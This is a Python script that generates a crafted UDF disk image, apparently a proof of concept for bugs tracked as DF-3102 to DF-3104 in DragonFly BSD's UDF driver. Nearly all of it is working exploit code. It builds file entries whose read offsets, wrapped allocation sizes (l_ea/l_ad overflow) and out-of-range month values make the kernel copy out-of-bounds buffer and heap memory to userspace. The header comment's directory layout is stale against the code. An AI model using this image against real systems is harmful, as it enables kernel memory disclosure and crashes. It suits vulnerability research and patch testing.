DF-3102 / craft_img.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 | #!/usr/bin/env python3 # DF-3102 / DF-3103 / DF-3104 -- crafted UDF image generator (pass 2). # # Extends the DF-0831 skeleton (same proven minimal ECMA-167/UDF structures, # same working udf_checktag checksums) with three test files: # # F1 (part-sector 2): regular file, ONE short_ad extent # {len=4096, pos=4} (exactly two 2048-byte blocks, block-aligned), # inf_len=4096. Data: sector 4 = ASCII pattern, sector 5 = 0xAA. # -> DF-3102: pread(fd, 2048, offset=1000): udf_readatoffset() # (sys/vfs/udf/udf_vnops.c:1017-1059) clamps *size to # min(resid, max_size, MAXBSIZE) but NOT to # bsize - (offset % bsize), and then sets # *data = &bp->b_data[offset % bsize] (:1057) while # udf_readlblks() (udf.h:96-100) only bread()s # roundup(*size, bsize) = 2048 bytes. uiomove(data, 2048) # therefore reads 1000 bytes PAST the end of the 2048-byte # buffer-cache buffer into userspace. # # EMB (part-sector 3): regular file with icbtag.flags&7 == 3 (data # embedded in the FE), l_ea = 0x1000, l_ad = 0xFFFFF150 so that # udf_vget() (sys/vfs/udf/udf_vfsops.c:527) computes # size = 176 + l_ea + l_ad = 0x100000200 -> truncated to int 0x200 # -> kmalloc(512), and udf_readatoffset()'s embedded path # (udf_vnops.c:1037-1039) then uses *data = &fentry->data[0x1000] # (~3.7 KB past the 512-byte allocation) with # *size = (int)0xFFFFF150 = -5936, which udf_read() passes to # uiomove() as (size_t)-5936 -> moves uio_resid bytes from # out-of-bounds kernel heap. # # T10..T31 (part-sectors 6..27): regular files, no data, whose FE mtime # carries year=2020 (leap), month = 10..31, day=1. # -> DF-3104: udf_timetotimespec() (udf_vnops.c:267-268) indexes # mon_lens[lpyear][i] for i = 1..month-1 with no month <= 12 # check; month 13+ (leap row) reads flat words mon_lens[0..][24+] # -- kernel .data past the 2x12 int array -- and the summed # garbage is observable via stat() st_mtime differences. # # Layout (2048-byte sectors, part_start = 64): # 16..18 VRS (BEA01/NSR02/TEA01) # 32..34 MVDS (PVD/PD/LVD) # 64+0 FSD (rootdir_icb -> part-sector 1) # 64+1 root File Entry (dir, short_ad, one extent {2048, pos=40}, # inf_len = 1096) # 64+2 F1 File Entry # 64+3 EMB File Entry # 64+4 F1 data sector 0 (pattern) \ extent {4096, pos=4} # 64+5 F1 data sector 1 (0xAA fill) / # 64+6..27 T10..T31 File Entries # 64+40 root directory extent (FIDs, all 4-byte aligned totals: # parent@0(38->40), F1@40(41->44), EMB@84(42->44), # T10..T31 @128.. (42->44 each) -> end exactly at 1096) # 256 Anchor VDP import struct, sys BSIZE = 2048 PART_ST = 64 PART_LEN = 448 SECTORS = 512 PART_NUM = 0 TAGID_PVD, TAGID_ANCHOR, TAGID_VOL, TAGID_PARTITION, TAGID_LOGVOL = 1, 2, 3, 5, 6 TAGID_TERM, TAGID_FSD, TAGID_FID, TAGID_FENTRY = 8, 256, 257, 261 def tag(tid, loc, crc=0, crc_len=0, ver=2, serial=0): b = bytearray(16) struct.pack_into("<HHBBHHHI", b, 0, tid, ver, 0, 0, serial, crc, crc_len, loc) ck = 0 for i in range(15): ck = (ck + b[i]) & 0xFF ck = (ck - b[4]) & 0xFF b[4] = ck return bytes(b) def sector(buf): b = bytearray(buf) if len(b) < BSIZE: b.extend(b"\x00" * (BSIZE - len(b))) return bytes(b[:BSIZE]) def regid(s): s = s.encode() if isinstance(s, str) else s return bytes([0]) + s[:23].ljust(23, b"\x00") + b"\x00" * 8 def charspec(): return b"\x00" + b"OSTA Compressed Unicode".ljust(63, b"\x00") def ts(year=2024, month=5, day=1): # struct timestamp: type_tz u16, year u16, month u8, day u8, hour, min, # sec, centisec, hund_usec, usec (all u8 after month/day) b = bytearray(12) struct.pack_into("<HH", b, 0, 0, year) # type_tz=0 (no tz adjust) b[4] = month; b[5] = day b[6] = 12; b[7] = 0 # 12:00:00 return bytes(b) def vrs_entry(ident): b = bytearray(BSIZE) b[0] = 0 b[1:6] = ident.encode() if isinstance(ident, str) else ident struct.pack_into("<H", b, 6, 0x0201) return bytes(b) def anchor(): b = bytearray(BSIZE) b[0:16] = tag(TAGID_ANCHOR, 256) struct.pack_into("<II", b, 16, 5 * BSIZE, 32) struct.pack_into("<II", b, 24, 5 * BSIZE, 32) return bytes(b) def pvd(): b = bytearray(BSIZE) b[0:16] = tag(TAGID_PVD, 32) struct.pack_into("<II", b, 16, 1, 1) b[24:56] = b"DF3102DISK".ljust(32, b" ") struct.pack_into("<H", b, 56, 1) b[64:192] = b"DF3102VSET".ljust(128, b" ") b[192:256] = charspec() + charspec() return sector(b) def pd(): b = bytearray(BSIZE) b[0:16] = tag(TAGID_PARTITION, 33) struct.pack_into("<I", b, 16, 1) struct.pack_into("<H", b, 20, 1) struct.pack_into("<H", b, 22, PART_NUM) b[24:56] = regid("+FDC01") struct.pack_into("<I", b, 184, 1) struct.pack_into("<I", b, 188, PART_ST) struct.pack_into("<I", b, 192, PART_LEN) return sector(b) def lvd(): b = bytearray(BSIZE) b[0:16] = tag(TAGID_LOGVOL, 34) struct.pack_into("<I", b, 16, 1) b[20:84] = charspec() b[84:212] = b"DF3102LOGVOL".ljust(128, b" ") struct.pack_into("<I", b, 212, BSIZE) b[216:248] = regid("*OSTA UDF Compliant") struct.pack_into("<I", b, 248, BSIZE) struct.pack_into("<IH", b, 252, 0, PART_NUM) struct.pack_into("<H", b, 258, 0) struct.pack_into("<I", b, 260, 0) struct.pack_into("<II", b, 264, 64, 1) b[272:304] = regid("*DragonFly BSD") b[304:432] = b"\x00" * 128 struct.pack_into("<II", b, 432, 0, 0) b[440] = 1; b[441] = 6 struct.pack_into("<HH", b, 442, 0, PART_NUM) return sector(b) def fsd(): b = bytearray(BSIZE) b[0:16] = tag(TAGID_FSD, 0) b[16:28] = ts() struct.pack_into("<HH", b, 28, 3, 3) b[48:80] = charspec() b[80:208] = b"DF3102LOGVOL".ljust(128, b" ") b[208:272] = charspec() b[272:304] = b"\x00" * 32 struct.pack_into("<I", b, 400, BSIZE) struct.pack_into("<IH", b, 404, 1, PART_NUM) # rootdir_icb -> part-sec 1 struct.pack_into("<H", b, 410, 0) struct.pack_into("<I", b, 412, 0) b[416:416 + 32] = regid("*OSTA UDF Compliant") return sector(b) def icb_tag(file_type, flags): b = bytearray(20) struct.pack_into("<I", b, 0, 0) struct.pack_into("<H", b, 4, 4) # strat_type 4 struct.pack_into("<H", b, 8, 1) # max_num_entries b[11] = file_type struct.pack_into("<IH", b, 12, 1, PART_NUM) struct.pack_into("<H", b, 18, flags) return bytes(b) def file_entry(pr_sec, file_type, flags, l_ea, l_ad, inf_len, logblks, mtime=None, ads=()): b = bytearray(BSIZE) b[0:16] = tag(TAGID_FENTRY, pr_sec) b[16:36] = icb_tag(file_type, flags) struct.pack_into("<I", b, 36, 0) # uid struct.pack_into("<I", b, 40, 0) # gid struct.pack_into("<I", b, 44, 0x0007) # perm -> other rwx struct.pack_into("<H", b, 48, 1) # link_cnt struct.pack_into("<I", b, 52, 0) # rec_len struct.pack_into("<Q", b, 56, inf_len) # inf_len struct.pack_into("<Q", b, 64, logblks) # logblks_rec t = mtime if mtime else ts() b[72:84] = t # atime b[84:96] = t # mtime b[96:108] = t # attrtime struct.pack_into("<I", b, 108, 1) # ckpoint b[128:160] = regid("*DragonFly BSD") struct.pack_into("<Q", b, 160, 0) # unique_id struct.pack_into("<I", b, 168, l_ea) struct.pack_into("<I", b, 172, l_ad) off = 176 for (alen, apos) in ads: # short_ad list struct.pack_into("<II", b, off, alen, apos) off += 8 return sector(b) def fid_desc(file_char, l_fi, l_iu, dstring, icb_lb): body = bytearray(38 + l_iu + l_fi) body[0:16] = tag(TAGID_FID, 0) struct.pack_into("<H", body, 16, 0) body[18] = file_char body[19] = l_fi struct.pack_into("<I", body, 20, BSIZE) struct.pack_into("<IH", body, 24, icb_lb, PART_NUM) struct.pack_into("<H", body, 30, 0) struct.pack_into("<I", body, 32, 0) struct.pack_into("<H", body, 36, l_iu) body[38 + l_iu:38 + l_iu + l_fi] = dstring return bytes(body) def root_dir_extent(): # FID placement must mirror the kernel's 4-byte alignment advance: # parent @0 total 38 -> next 40 # F1 @40 total 41 -> next 84 # EMB @84 total 42 -> next 128 # T10..T31 @128+44k total 42 -> next 128+44*22 = 1096 == inf_len buf = bytearray(BSIZE) fids = [] fids.append((fid_desc(0x08 | 0x01, 0, 0, b"", 1), 38)) fids.append((fid_desc(0x01, 3, 0, b"\x08F1", 2), 41)) fids.append((fid_desc(0x01, 4, 0, b"\x08EMB", 3), 42)) fids.append((fid_desc(0x01, 5, 0, b"\x08EMB2", 28), 43)) for i, n in enumerate(range(10, 32)): nm = ("T%d" % n).encode() fids.append((fid_desc(0x01, 4, 0, b"\x08" + nm, 6 + i), 42)) off = 0 for f, tot in fids: buf[off:off + len(f)] = f off += (tot + 3) & ~3 assert off == 1140, off return bytes(buf), off def f1_sector0(): b = bytearray(BSIZE) for i in range(0, BSIZE, 32): struct.pack_into("<16sI", b, i, b"DF3102-S0-DATA-", i) return bytes(b) img = bytearray(SECTORS * BSIZE) def put(sec, data): img[sec * BSIZE: sec * BSIZE + BSIZE] = data[:BSIZE] put(16, vrs_entry("BEA01")); put(17, vrs_entry("NSR02")); put(18, vrs_entry("TEA01")) put(32, pvd()); put(33, pd()); put(34, lvd()) put(64 + 0, fsd()) # root FE: directory, one extent {len=2048, pos=40}, inf_len = dir bytes used rde, dir_len = root_dir_extent() put(64 + 1, file_entry(1, 4, 0, 0, 8, dir_len, 1, ads=[(2048, 40)])) # F1: regular file, one extent {len=4096, pos=4} (two full blocks) put(64 + 2, file_entry(2, 5, 0, 0, 8, 4096, 2, ads=[(4096, 4)])) # EMB: embedded (flags&7==3), l_ea+l_ad chosen to wrap udf_vget's int size # 176 + 0x1000 + 0xFFFFF150 = 0x100000200 -> int 0x200 (512-byte kmalloc) put(64 + 3, file_entry(3, 5, 3, 0x1000, 0xFFFFF150, 0x10000, 1)) # F1 data put(64 + 4, f1_sector0()) put(64 + 5, b"\xAA" * BSIZE) # EMB2: embedded with l_ea = 0x40000000 (1 GB past the 512-byte fentry) # 176 + 0x40000000 + 0xC0000140 = 0x100000200 -> int 0x200 (512-byte kmalloc) put(64 + 28, file_entry(28, 5, 3, 0x40000000, 0xC0000140, 0x10000, 1)) # T10..T31 FEs: year=2020 (leap -> lpyear row 1), month = 10..31 for i, n in enumerate(range(10, 32)): put(64 + 6 + i, file_entry(6 + i, 5, 0, 0, 0, 0, 0, mtime=ts(year=2020, month=n, day=1))) # root dir data put(64 + 40, rde) put(256, anchor()) out = sys.argv[1] if len(sys.argv) > 1 else "df3102.udf" with open(out, "wb") as f: f.write(img) print("wrote %s: %d bytes (%d sectors); dir_len=%d; " "EMB alloc wraps: 176+0x1000+0xFFFFF150 -> int 0x200" % (out, len(img), SECTORS, dir_len)) |